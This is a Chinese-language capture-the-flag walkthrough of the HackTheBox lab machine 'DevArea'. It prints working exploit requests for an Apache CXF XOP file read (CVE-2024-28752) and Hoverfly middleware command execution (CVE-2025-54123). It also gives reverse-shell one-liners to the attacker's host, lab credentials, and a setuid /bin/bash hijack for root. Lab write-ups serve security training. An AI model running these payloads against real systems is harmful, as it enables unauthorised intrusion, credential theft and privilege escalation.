DevArea
准备工作
从靶场下载VPN连接配置,协议我一般选择TCP 443
通过openvpn连接到目标环境
openvpn '/home/kali/Desktop/release_arena_us-release-2.ovpn'
目标靶机:10.129.14.142
当前主机:10.10.17.88
知识点
端口扫描
ftp
linux提权
渗透过程
信息收集
1、使用Nmap对目标进行端口扫描 nmap 10.129.14.142 -sV -T4 -A
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.17.88
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA)
|_ 256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: DevArea - Connect with Top Development Talent
|_http-server-header: Apache/2.4.58 (Ubuntu)
8080/tcp open http Jetty 9.4.27.v20200227
|_http-server-header: Jetty(9.4.27.v20200227)
|_http-title: Error 404 Not Found
8500/tcp open http Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 500 Internal Server Error
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Mon, 30 Mar 2026 04:23:31 GMT
| Content-Length: 64
| This is a proxy server. Does not respond to non-proxy requests.
| GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 500 Internal Server Error
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Mon, 30 Mar 2026 04:23:07 GMT
| Content-Length: 64
| This is a proxy server. Does not respond to non-proxy requests.
| HTTPOptions:
| HTTP/1.0 500 Internal Server Error
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Mon, 30 Mar 2026 04:23:08 GMT
| Content-Length: 64
|_ This is a proxy server. Does not respond to non-proxy requests.
8888/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
发现开放了 ftp、ssh以及四个http服务的端口,且ftp存在匿名登陆
对http服务的端口进行访问
经过测试发现 80 端口跳转到URL http://devarea.htb/
8080 为 Jetty:// 9.4.27.v20200227的404页面
8500 为代理服务
8888 为 Hoverfly Dashboard(运行了hoverfly服务)
我们先将 devarea.htp 与靶机ip添加到 /etc/hosts 中
echo -e "10.129.14.142\tdevarea.htb" >> /etc/hosts再次请求 http://devarea.htb/ 得到一个网页
经过对http服务的探测,没发现什么突破口...

利用ftp匿名登录
使用命令
ftp anonymous@10.129.14.142登录ftp使用cd、get 命令进入目录和下载文件,发现存在文件employee-service.jar(过程见下图)

反编译.jar文件
根据获取到的 jar 文件名称来看,功能是与员工相关的服务,所以通过反编译来获取一些信息
使用 jadx 进行反编译,该工具kali不自带,所以需要安装直接
sudo apt install jadx -y即可执行命令 jadx-gui 打开图形化,并打开刚才下载的 .jar 文件

在 Source code > htb.devarea > ServerStarter 中发现存在目标地址 http://localhost:8080/employeeservice?wsdl
结合目标开放的8080端口与localhost,我们构造url http://10.129.14.142:8080/employeeservice?wsdl 并请求

通过wsdl提供的接口,与反编译的java代码中一样,在代码中看到该接口使用了 apache.cxf 框架
CVE-2024-28752
在网上搜索,找到 Apache CXF 的漏洞 CVE-2024-28752 ,结合接口构造请求代码
POST /employeeservice HTTP/1.1
Host: 10.129.14.142:8080
Content-Type: multipart/related; boundary=----foo
Content-Length: 627
Connection: close
------foo
Content-Disposition: form-data; name="1"
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:htb="http://devarea.htb/" xmlns:xop="http://www.w3.org/2004/08/xop/include">
<soap:Body>
<htb:submitReport>
<arg0>
<confidential>false</confidential>
<content>
<xop:Include href="file:////etc/systemd/system/hoverfly.service"/>
</content>
<department>IT</department>
<employeeName>Hacker</employeeName>
</arg0>
</htb:submitReport>
</soap:Body>
</soap:Envelope>
------foo--在前面得知启动了 hoverfly 服务,所以通过file协议读取 .service 的配置信息
由于xop是将二进制处理成base64编码的,所以通过file协议读取到的内容需要解码后获取

在服务的定义文件中看到以明文形式硬编码了 hoverfly 的账户密码
username:admin
password:O7IJ27MyyXiU

同时读取一下 /etc/passwd 文件,获得目标靶机存在的用户
除root以外,还存在可登录用户 dev_ryan
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash
ftp:x:110:111:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
syswatch:x:984:984::/opt/syswatch:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
_laurel:x:999:987::/var/log/laurel:/bin/false
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/falseHoverfly漏洞利用
成功登录,拿到了认证权限,此时可以尝试利用历史存在的命令执行漏洞 CVE-2025-54123
构造请求poc
PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: 10.129.14.142:8888
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODU4OTAzMzQsImlhdCI6MTc3NDg1MDMzNCwic3ViIjoiIiwidXNlcm5hbWUiOiJhZG1pbiJ9.7nYJAn5F71DgxiCwJXwGIqJhI_KxkmMFZXh0UiNDPMCps0ZfxX1G-neU-cv-mAcZwU1akyv7E_unmXnUIz8l4A
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 56
{
"binary": "/bin/bash",
"script": "whoami"
}获得当前用户 dev_ryan

获取shell
在kali中使用nc命令启用监听
nc -lvnp 4444构造一个Reverse shell命令
/bin/bash -i >& /dev/tcp/10.10.17.88/4444 0>&1发送请求即可获取shell

获取user flag
通过 find 命令查找flag相关文件没有找到
最终在 /home/dev_ryan/user.txt 中获得第一个flag

提权
由于nc的shell使用起来很不方便,所以直接给目标靶机写入ssh公钥,使用私钥连接
使用
ssh-keygen -t ed25519 -f ~/.ssh/id_kali -N ""生成密钥将 ~/.ssh/id_kali.pub 的所有内容复制到
echo 'id_kali.pub的内容' > /home/dev_ryan/.ssh/authorized_keys并在目标执行写入使用命令
ssh -i ~/.ssh/id_kali dev_ryan@devarea.htb直接ssh登录靶机

使用 linpeas.sh 进行提权辅助
执行
sudo -l查看无需密码就可以以root权限执行的程序存在
/opt/syswatch/syswatch.sh

将 linpeas.sh 下载至kali中,在下载目录执行命令
python -m http.server启动http服务在目标主机上执行
wget http://10.10.17.88:8000/lin.sh下载脚本执行命令
chmod +x ./lin.sh给脚本赋予执行权限执行
./lin.sh等待检查完毕...
在检查结果中存在一条 /etc/systemd/system/syswatch-monitor.service 调用 /bin/bash 程序,而在前面信息又得知,syswatch是可以以root权限执行的
查看 /etc/systemd/system/syswatch-monitor.service 配置加以确认

查看 systemctl 发现 syswatch-monitor 在调用中,所以我们可以通过
sudo /opt/syswatch/syswatch.sh plugin service_monitor.sh触发 /bin/bash

劫持 /bin/bash
chown root:root /tmp/bash设置 /tmp/bash 所有者为rootchmod +s /tmp/bash设置执行 /tmp/bash 时以程序所有者的权限执行编写shell.c
#include <stdlib.h>
#include <unistd.h>
void main() {
setuid(0);
setgid(0);
system("chown root:root /tmp/bash; chmod +s /tmp/bash");
}
使用
gcc -static -o pwn shell.c编译准备两个 bash 备份
cp /bin/bash /tmp/bash.bak、cp /bin/bash /tmp/bash一个用于备份,一个用于赋权!由于ssh使用的bash,所以我们需要建立一个 /bin/sh 连接,以关闭所有bash进程
可以通过bp的重放模块建立 sh 连接
nohup /bin/sh -i >& /dev/tcp/10.10.17.88/9998 0>&1 &执行 killall -9 bash 关闭所有使用bash的程序(此操作也会断开ssh连接)
再执行
cp pwn /bin/bash劫持bash执行命令
sudo /opt/syswatch/syswatch.sh plugin service_monitor.sh触发/bin/bash调用此时 /tmp/bash 已经可以调用root权限了

执行
cp /tmp/bash.bak /bin/bash恢复原本的bash功能
获取root flag
cd 切换到root目录
查看root.txt 取得最后一个flag

评论